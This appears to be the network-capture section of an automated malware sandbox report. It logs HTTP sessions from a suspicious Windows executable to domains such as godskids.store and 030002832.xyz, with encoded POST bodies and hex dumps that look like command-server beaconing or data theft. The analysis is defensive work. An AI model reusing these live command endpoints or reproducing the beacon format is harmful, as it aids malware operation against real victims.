9c 13 ce 97 de 1c 20 2f 7d 77 79 7e ec 7a 17 be e3 f1 f4 32 e2 fc b9 bf f4 ed 80 8f 1d 3b f0 8e 25 c2 73 ef 8d 37 1e bc c9 f3 dc fb 41 00 df b9 cf e6 1e f7 f8 a3 cf 38 55 30 04 55 90 38 9e b3 fd 30 f6 42 c1 09 67 1c cf 3f fc bf 10 7e e9 2f 03 ef e1 83 31 fb 8b 29 05 5a a2 70 12 2e e3 02 25 f3 d0 9f bb de 15 a3 ba 04 7a e6 cd bd c8 5e 86 51 01 ba 42 c7 c1 fb 9f 7c 06 [TRUNCATED] Data Ascii: i m4+QY$%6EJM+Ct#) h$V~7FovLKs}%nrMVpp~vGr<pe0{~v<u<vl!<~kY=}x3oisx?7w<E- /}wy~z2;%s7A8U0U80Bg?~/1)Zp.%z^QB\|)A)[^/Xc/p>0v7"X>fq3.wFgg8 ql%de>#Y3O'&YQ}x3T7( c18F6`xuRtJ)Ee+W;y~>IFh'KPG/6k<E<pE>%)&jK6b\E-p*4R\/ y$vQjQ]E,F!]b@DvQ(y99yRhI&bn&D7UOp0%S2`RBn/Ej5\|sBx
Nov 5, 2024 15:34:14.253185987 CET	1289	IN	Data Raw: 55 54 d4 55 14 f4 b5 4f 4b 2f f0 16 e7 e1 1c 9b cf 7b 96 ae 6b a2 ae 19 a2 a5 ab f0 2d 08 cf c2 c1 61 de 58 3f 99 d9 67 de 67 93 a7 9e b3 dc a0 90 cb 05 9f 74 63 4f c6 ab 45 10 da 6e fc 64 2c 8b b2 fa 64 2c 1a 4f c6 4e 14 2e 16 9e cb eb 96 69 a8 Data Ascii: UTUOK/{k-aX?ggtcOEnd,d,ON.i<S';<7l?ksO# esXsr&1XmnL7Y}+e~k\?@/A4;-Tyel%dm;#8byE
Nov 5, 2024 15:34:14.253228903 CET	1289	IN	Data Raw: dc 07 20 24 70 32 c0 67 58 86 8b c1 c8 16 a6 21 8e 3d eb a2 c8 29 f2 e2 8a 7b 3f f2 ed 00 10 dd 66 ad 03 1a 60 18 7d 64 83 9a e7 ed 63 78 13 fe dc fb e2 78 79 60 8f 3c 90 08 16 90 cb 69 89 df 99 e1 a8 51 cf 3a 25 a8 ac a5 10 47 ce 31 08 54 00 21 Data Ascii: $p2gX!=){?f`}dcxxy`<iQ:%G1T!~Sxs\hXMba{.Q\|s"GV\|1)oCw??o2FY\|v./`gG <[fjL^,%>c9gi
Nov 5, 2024 15:34:14.253271103 CET	1289	IN	Data Raw: 23 81 23 fb c2 e3 8a 9e b8 5a 8f e8 14 b9 51 b8 e0 a7 3e 8e b7 1f 4e 82 55 74 20 e9 8b ab 21 17 db e0 73 a1 2f 2c 99 e2 db c3 a3 cd 20 cf 48 f6 40 4a 00 7c bd a5 d9 f8 9f 2a 1e b1 4a a0 c6 7e 54 ae 10 75 71 75 54 16 c3 51 49 ca 49 5f 2c 8b 00 f7 Data Ascii: ##ZQ>NUt !s/, H@J\|J~TuquTQII_,<<)'HQh!b^!$ZzG5g#!XF<Opqs8lxD<oC%sW\BOiM1V1\|kh IumqS}5Azf.=^kx/
Nov 5, 2024 15:34:14.253312111 CET	1289	IN	Data Raw: b4 f9 f2 cf fb 1c 79 f0 c7 f7 c1 a2 b0 c5 e2 0d e2 c1 f5 c0 6c 03 53 4b 45 66 00 2d 23 6a c5 26 5d 9c 49 cb f2 81 5a a7 81 66 52 04 01 ac cf 48 a6 da 9b da ab 80 59 99 b6 29 5c 1c b9 6d 2c b8 0a 5f 9e 31 6f a6 75 d4 86 68 dd bc 77 4e f6 66 b3 7f Data Ascii: ylSKEf-#j&]IZfRHY)\m,_1ouhwNf}TKTLiBe2a:Zn9{X1TkfZ-i,4'^YgzCn2B\|p NK+._6Tj`}EH`C)#%nfjrT; \%))T
Nov 5, 2024 15:34:14.253355026 CET	1289	IN	Data Raw: 17 5b 1a 73 3d 12 17 40 14 0d 67 62 1f 35 7f e6 f9 e8 6c 72 28 8e 24 59 1d 49 a6 de 06 85 0e 07 74 e8 92 88 e8 f4 89 2d ad 05 cc 10 8b c6 48 d2 d7 c1 cb 84 58 b3 4d 63 2d 60 8a d8 02 dc 8a 56 04 4f bc 0e 36 1a 48 8b ac 70 8c 8a 41 24 2b 03 ae e7 Data Ascii: [s=@gb5lr($YIt-HXMc-`VO6HpA$+.<a;mdy$dYIh$k,%czH.M8mqz0l'np;ogbt:UZ3-I<9)5<\|U^Q7\0%i6Vq
Nov 5, 2024 15:34:14.253396034 CET	1289	IN	Data Raw: 10 c7 0c db d4 d2 34 bd a5 f9 9c 7b 57 e0 87 3b 3e 8e 31 81 94 0d 53 34 5b b8 4d ad 29 b4 32 ab ca 67 16 28 d7 06 60 b2 31 99 94 b3 96 a0 39 3a 9b d8 07 fa 48 52 8d 91 2c 1b 23 69 c8 89 6f 63 e2 81 a4 69 23 08 a6 65 59 1d e2 e1 76 10 a9 b4 15 5d Data Ascii: 4{W;>1S4[M)2g(`19:HR,#ioci#eYv]5yE^8L1+^9qm)h9 k2\$1IVd.RE%rEc}PlY1GOQG+CQ_DYgeXFUo9(CO03H
Nov 5, 2024 15:34:14.253437042 CET	1289	IN	Data Raw: 4f b4 46 9f 66 30 69 6f 19 f7 b0 70 47 15 80 b2 b3 2a 29 2a 3f e2 4a 1b 43 39 19 7c 8b f6 fc 04 94 23 60 47 73 72 c5 bd a6 6b 10 b0 d5 71 80 a1 ba a0 8d 4b 8e bf 29 23 a3 95 29 15 0a 59 5a 71 b3 4b a1 a0 21 94 f4 6e 26 8c 74 49 37 2e e0 03 ca d0 Data Ascii: OFf0iopG)?JC9\|#`GsrkqK)#)YZqK!n&tI7.o0b;%\|k$sR+V7YHZ6LlxUQmb8E["-V_j7V,Z$VN&:.k=ur."nsuvQag6WI)
Nov 5, 2024 15:34:14.253478050 CET	1289	IN	Data Raw: 4a 56 7c d9 4b f4 b9 05 f2 fe 51 e7 16 c8 7b 44 9b 5b 60 ed 19 65 6e 81 79 8b e8 72 8b 52 76 8b 2a 77 2f b0 7f 34 b9 4d 59 db 44 91 5b 57 d5 46 d1 e3 b6 aa b6 51 d4 b8 35 2b fd a3 c5 ad 8b e8 15 25 6e 81 bd 77 74 b8 8d f1 eb 15 15 6e 53 b5 7d a2 Data Ascii: JV\|KQ{D[`enyrRvw/4MYD[WFQ5+%nwtnS}-nnv}oBE{[`mw}tFu[_4QVXmtGm[zNHEi~$5vm(l[a@#V=(k[]wMCyI7I}Q;
Nov 5, 2024 15:34:14.253520012 CET	1289	IN	Data Raw: 9b 51 b6 51 2a f5 ea 66 f1 36 77 69 aa 4d 75 15 62 2a 4d 56 1d 6f 22 99 9a 67 ab b2 68 81 e3 2b ed 6e 90 0b b3 4b fd b8 92 f7 2f 28 79 6b 41 ad 0b 28 1a 22 8a 2e 8b 9d c9 1d ba 1e c5 51 3d cb b5 dc 09 c8 1f 24 ad 99 10 da 4d 25 f8 6b ea b6 f8 e2 Data Ascii: QQf6wiMubMVo"gh+nK/(ykA(".Q=$M%k^c+%tE4G4S*]miH{E~N\|/NQY Bm5e2-EIN4M[V1tTu-td7dd1)t:u[6Hgyj]cJF{PB<l[#;(]EAE
Nov 5, 2024 15:34:14.371258020 CET	1289	IN	Data Raw: 82 fb b3 cf 7f e0 7f fa 39 a4 2f a3 95 97 81 02 f6 a9 7f 86 d0 45 e9 c1 e7 6a ed 7f 34 77 b7 d1 80 dc 22 65 55 69 2f 7c e1 52 08 a3 b3 f1 80 d9 9c fc 4b ab ce 3f 8d c3 39 80 8f 1f 16 f0 7d e4 fa cb 1f ff e8 93 01 b7 bc 5e 78 c7 03 7b b1 08 7c 87 Data Ascii: 9/Ej4w"eUi/\|RK?9}^x{\|\|q] ?za Wp;d@i: : .a4fx<)8?8tA^y2JXHLBap3rf/@3;t\|=xo`.#eu97S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49745	66.198.240.15	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:16.563752890 CET	466	OUT	GET /ytnk/?Q2_4=uFAB3rEwaKr/uv81jElgMKFBplV4zOO0W/0UV/qGGe8UYgGdotW+PL1Lw+hHObTImHBkjwc0j1onCJuTKIEEH1/5TCKt9SsHo63opvn6TJdVFqr1WzvPAJA=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.abuali-contracting.art User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:34:16.834894896 CET	618	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 05 Nov 2024 14:34:16 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Location: http://abuali-contracting.art/ytnk/?Q2_4=uFAB3rEwaKr/uv81jElgMKFBplV4zOO0W/0UV/qGGe8UYgGdotW+PL1Lw+hHObTImHBkjwc0j1onCJuTKIEEH1/5TCKt9SsHo63opvn6TJdVFqr1WzvPAJA=&uXP=1HX8 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49746	3.33.130.190	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:22.082684040 CET	729	OUT	POST /5g7z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.godskids.store Origin: http://www.godskids.store Referer: http://www.godskids.store/5g7z/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 70 49 55 2b 46 74 65 45 4f 57 45 31 79 2b 70 37 2b 66 39 67 47 72 45 71 4d 70 38 65 42 55 59 67 78 6b 36 48 63 44 67 44 59 78 59 52 69 2f 41 76 39 74 5a 2f 47 4c 57 66 4a 76 72 78 59 35 53 4c 2f 72 73 6f 66 75 4a 38 50 47 6c 69 61 4c 33 4d 4c 69 46 6e 6f 2f 70 44 69 71 30 59 6c 32 78 30 63 45 71 48 30 76 51 4e 55 65 4a 51 34 41 63 51 37 56 6b 66 43 34 57 42 30 31 41 53 70 59 41 65 35 76 52 34 57 56 78 64 70 6e 55 53 5a 42 6a 45 6e 68 34 48 54 47 51 79 78 6b 38 62 63 62 33 6d 46 4d 45 34 6a 34 55 54 56 78 51 2b 54 53 56 79 52 78 32 66 49 58 6b 6c 50 35 57 78 66 48 48 52 69 51 3d 3d Data Ascii: Q2_4=pIU+FteEOWE1y+p7+f9gGrEqMp8eBUYgxk6HcDgDYxYRi/Av9tZ/GLWfJvrxY5SL/rsofuJ8PGliaL3MLiFno/pDiq0Yl2x0cEqH0vQNUeJQ4AcQ7VkfC4WB01ASpYAe5vR4WVxdpnUSZBjEnh4HTGQyxk8bcb3mFME4j4UTVxQ+TSVyRx2fIXklP5WxfHHRiQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49747	3.33.130.190	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:24.726747036 CET	749	OUT	POST /5g7z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.godskids.store Origin: http://www.godskids.store Referer: http://www.godskids.store/5g7z/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 70 49 55 2b 46 74 65 45 4f 57 45 31 30 75 35 37 38 38 56 67 41 4c 45 70 51 35 38 65 61 45 59 6b 78 6a 79 48 63 43 6c 49 5a 44 4d 52 69 61 6b 76 2b 73 5a 2f 42 4c 57 66 43 50 72 4f 58 5a 53 55 2f 72 67 67 66 75 46 38 50 43 46 69 61 4c 6e 4d 4c 52 64 6d 70 76 70 42 36 61 30 61 34 6d 78 30 63 45 71 48 30 76 30 6e 55 66 68 51 2f 77 41 51 36 30 6b 51 63 49 58 7a 31 31 41 53 74 59 41 61 35 76 52 61 57 55 74 33 70 6b 73 53 5a 44 37 45 6d 77 34 47 49 57 51 34 2f 45 39 48 56 5a 61 35 44 63 73 2b 69 37 6b 72 64 67 4e 45 66 6b 45 6f 4d 44 43 37 4c 45 34 58 4c 4a 76 5a 64 46 47 4b 2f 5a 42 5a 37 63 46 78 4e 6c 6e 62 45 35 73 31 59 48 4f 5a 76 79 49 3d Data Ascii: Q2_4=pIU+FteEOWE10u5788VgALEpQ58eaEYkxjyHcClIZDMRiakv+sZ/BLWfCPrOXZSU/rggfuF8PCFiaLnMLRdmpvpB6a0a4mx0cEqH0v0nUfhQ/wAQ60kQcIXz11AStYAa5vRaWUt3pksSZD7Emw4GIWQ4/E9HVZa5Dcs+i7krdgNEfkEoMDC7LE4XLJvZdFGK/ZBZ7cFxNlnbE5s1YHOZvyI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49748	3.33.130.190	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:27.366565943 CET	7734	OUT	POST /5g7z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.godskids.store Origin: http://www.godskids.store Referer: http://www.godskids.store/5g7z/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 70 49 55 2b 46 74 65 45 4f 57 45 31 30 75 35 37 38 38 56 67 41 4c 45 70 51 35 38 65 61 45 59 6b 78 6a 79 48 63 43 6c 49 5a 44 55 52 68 6f 73 76 35 2f 78 2f 41 4c 57 66 42 50 72 50 58 5a 54 4f 2f 72 6f 6b 66 75 35 4b 50 41 39 69 56 49 66 4d 43 45 78 6d 6a 76 70 42 7a 36 30 5a 6c 32 77 70 63 46 61 4c 30 76 45 6e 55 66 68 51 2f 79 30 51 39 6c 6b 51 65 49 57 42 30 31 41 57 70 59 41 69 35 76 34 6c 57 55 70 4e 70 56 4d 53 59 6a 72 45 72 6d 4d 47 56 47 51 2b 34 45 39 50 56 5a 57 63 44 63 67 44 69 36 41 42 64 69 74 45 4d 41 52 53 49 68 2b 2b 66 46 6b 58 48 72 79 67 64 44 71 6f 39 75 52 74 30 4f 35 46 48 7a 6e 38 4d 62 31 36 4b 55 4f 59 7a 31 6e 2b 6f 37 57 67 53 4c 46 48 63 6c 2b 61 39 63 4f 33 6f 35 65 42 6d 6d 55 35 52 6a 57 43 30 4d 63 51 6d 65 7a 46 68 6d 32 4b 6c 67 31 74 54 56 64 57 59 4c 6d 4a 75 78 31 6f 69 47 5a 51 58 4d 75 72 74 7a 54 61 52 46 50 4a 41 52 4f 39 6f 6a 2b 6d 50 55 48 6e 70 4c 37 5a 63 42 54 30 43 57 6a 63 74 2f 73 62 49 6a 35 6b 39 32 76 6b 6f 4c 72 53 68 43 33 32 68 [TRUNCATED] Data Ascii: Q2_4=pIU+FteEOWE10u5788VgALEpQ58eaEYkxjyHcClIZDURhosv5/x/ALWfBPrPXZTO/rokfu5KPA9iVIfMCExmjvpBz60Zl2wpcFaL0vEnUfhQ/y0Q9lkQeIWB01AWpYAi5v4lWUpNpVMSYjrErmMGVGQ+4E9PVZWcDcgDi6ABditEMARSIh++fFkXHrygdDqo9uRt0O5FHzn8Mb16KUOYz1n+o7WgSLFHcl+a9cO3o5eBmmU5RjWC0McQmezFhm2Klg1tTVdWYLmJux1oiGZQXMurtzTaRFPJARO9oj+mPUHnpL7ZcBT0CWjct/sbIj5k92vkoLrShC32hZzJ183Ii7vu4nulWjCGtdsCHYotN4lWcr3E0Eay+javm8HPlk7D4Gjieo0ZR3NiRo0dlkN8BYVxaiE7VZ8F2AiIP05Q/nZPcnnHfskKqQ2algDMeazv9kn3yDr7lf+hsIafZ5XhANiR8uV7CQzYfDnCsAMRB+G1kEMtr/CwEW+WyJa6FgSq2IivxwA37mhIQ5vYeOChgNwSbh2Rq11H/g68DvdiWOQSa3mfWiX93WP3toGJA1TQrOtBI+MEC/j+k7VeGAZJNBBl6jKtsmQvjcWxQ5Zthdhosl7vEa3DDZPepupvHn+mkMuGRKaw/9IO923kJf6Ui+fqOcELsENmTH7gTPQlUSH7e1kYM0fMfrnRe7wRozN4bBgR2B5RlAK1f5tFWIXI6EwFcdT3Ev9b/RyStsYIcJgfgrXBfvyXn3LaTgl1DcuzQRuMlliwDfUg/83RBgnvNkx9rc+ajSNmXGC9btdRzbmWjccQt1YVUCfsByb+eGTY0hiIup/fb2qF87myWCv8pO7ZvAsN274rtD0zYFno2EIyid1OQiD+rid4ivrUqITs1FowAuj2uq391VHOxCrx30+j9xP048KXXitPI6oZdOIWhTtre4LlS/iLmbaa+aRvjy8/AGplhu0F0A60U7nt5BqreK2/EFb7F7EZGbUBY0CuZQX [TRUNCATED]
Nov 5, 2024 15:34:27.366686106 CET	164	OUT	Data Raw: 33 30 67 70 4f 49 65 54 52 63 31 51 55 34 52 69 47 38 6e 31 54 4f 6b 2b 35 64 64 34 35 30 57 44 79 30 42 4f 59 6b 35 39 6d 30 59 71 42 53 79 77 63 43 7a 67 4a 73 6d 50 75 35 77 54 46 44 59 4c 4d 6b 36 44 72 59 4f 34 32 71 72 4a 4a 6c 6c 73 68 74 Data Ascii: 30gpOIeTRc1QU4RiG8n1TOk+5dd450WDy0BOYk59m0YqBSywcCzgJsmPu5wTFDYLMk6DrYO42qrJJllshtsG9D+rNEjeAngu7LIWT62ZG2JHFdprf+4rZH67s+RsIg+ulAK+Q8+ShddrlVBH7o883u3ycdTn4LiExA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49749	3.33.130.190	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:30.007213116 CET	458	OUT	GET /5g7z/?Q2_4=kK8eGZeOL0c0i7pZ0ONPINYAGZoAPWpd4nCLeggjcj8HoPAJjspSGomAMuDSSayw1bMnL6JfGjY3P9qtC0w+rul42/5pklRpQ1va0t0kDdVVqU9rzEU/DKw=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.godskids.store User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:34:30.128454924 CET	389	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 05 Nov 2024 14:34:30 GMT Content-Type: text/html Content-Length: 249 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 51 32 5f 34 3d 6b 4b 38 65 47 5a 65 4f 4c 30 63 30 69 37 70 5a 30 4f 4e 50 49 4e 59 41 47 5a 6f 41 50 57 70 64 34 6e 43 4c 65 67 67 6a 63 6a 38 48 6f 50 41 4a 6a 73 70 53 47 6f 6d 41 4d 75 44 53 53 61 79 77 31 62 4d 6e 4c 36 4a 66 47 6a 59 33 50 39 71 74 43 30 77 2b 72 75 6c 34 32 2f 35 70 6b 6c 52 70 51 31 76 61 30 74 30 6b 44 64 56 56 71 55 39 72 7a 45 55 2f 44 4b 77 3d 26 75 58 50 3d 31 48 58 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Q2_4=kK8eGZeOL0c0i7pZ0ONPINYAGZoAPWpd4nCLeggjcj8HoPAJjspSGomAMuDSSayw1bMnL6JfGjY3P9qtC0w+rul42/5pklRpQ1va0t0kDdVVqU9rzEU/DKw=&uXP=1HX8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49750	161.97.142.144	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:35.654304028 CET	726	OUT	POST /o2wj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.030002832.xyz Origin: http://www.030002832.xyz Referer: http://www.030002832.xyz/o2wj/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 33 4a 46 44 43 33 78 71 31 37 52 6c 6b 33 57 49 45 66 46 4a 73 2b 4d 53 70 4f 6b 74 4f 2f 7a 6a 65 7a 6c 2b 43 36 63 47 33 51 63 4b 74 48 2f 65 53 5a 49 6c 34 58 74 69 79 5a 4d 34 6d 48 56 61 5a 4a 64 4f 35 6b 6f 33 62 35 38 52 42 2b 38 63 42 65 51 61 6e 50 67 6a 67 32 6d 56 38 55 52 4a 34 38 64 69 4e 69 59 4d 66 5a 76 65 53 4e 72 68 64 33 33 57 33 49 7a 61 2b 62 79 71 64 74 76 61 31 43 77 68 41 42 77 4f 72 46 6f 5a 75 32 4a 66 6c 42 31 63 52 51 66 62 66 4c 50 69 71 5a 35 33 55 71 53 41 5a 6b 33 54 6e 31 32 6b 4c 61 6b 7a 75 6e 65 6b 69 44 63 75 43 32 47 45 42 68 35 41 56 67 3d 3d Data Ascii: Q2_4=3JFDC3xq17Rlk3WIEfFJs+MSpOktO/zjezl+C6cG3QcKtH/eSZIl4XtiyZM4mHVaZJdO5ko3b58RB+8cBeQanPgjg2mV8URJ48diNiYMfZveSNrhd33W3Iza+byqdtva1CwhABwOrFoZu2JflB1cRQfbfLPiqZ53UqSAZk3Tn12kLakzunekiDcuC2GEBh5AVg==
Nov 5, 2024 15:34:35.855681896 CET	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:34:35 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc(aL`!I> [TRUNCATED]
Nov 5, 2024 15:34:35.855732918 CET	317	IN	Data Raw: f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 27 07 2f 88 08 5d b8 dd 9d c3 da 74 74 30 c5 f1 c0 04 7b 7b cc 88 10 22 a1 98 47 c4 0f 38 8a c0 41 97 ae 98 04 90 82 7e c6 a8 8b de e5 5b 46 90 0d 8e 03 08 19 Data Ascii: wlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5LznQVT)F[EG{^kTs0N[JJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49751	161.97.142.144	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:38.393518925 CET	746	OUT	POST /o2wj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.030002832.xyz Origin: http://www.030002832.xyz Referer: http://www.030002832.xyz/o2wj/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 33 4a 46 44 43 33 78 71 31 37 52 6c 6b 57 47 49 43 4d 64 4a 72 65 4d 64 6e 75 6b 74 41 66 7a 6e 65 7a 70 2b 43 2b 46 42 33 46 4d 4b 6a 44 7a 65 54 59 49 6c 35 58 74 69 36 35 4d 35 6f 6e 56 52 5a 4a 52 38 35 6d 73 33 62 35 59 52 42 37 41 63 47 6f 59 5a 6f 2f 67 68 70 57 6d 58 2f 6b 52 4a 34 38 64 69 4e 69 63 79 66 5a 33 65 56 39 62 68 66 54 62 52 35 6f 7a 46 35 62 79 71 5a 74 76 57 31 43 78 79 41 45 55 6f 72 48 51 5a 75 33 35 66 69 54 64 62 62 51 66 42 62 4c 4f 63 6d 61 67 64 64 2b 75 73 59 48 62 57 74 32 6d 74 4b 4d 31 70 7a 56 71 41 68 51 41 63 47 47 2f 73 44 6a 34 62 49 76 36 77 70 45 36 38 34 54 73 7a 33 67 44 38 6f 5a 55 50 30 49 6b 3d Data Ascii: 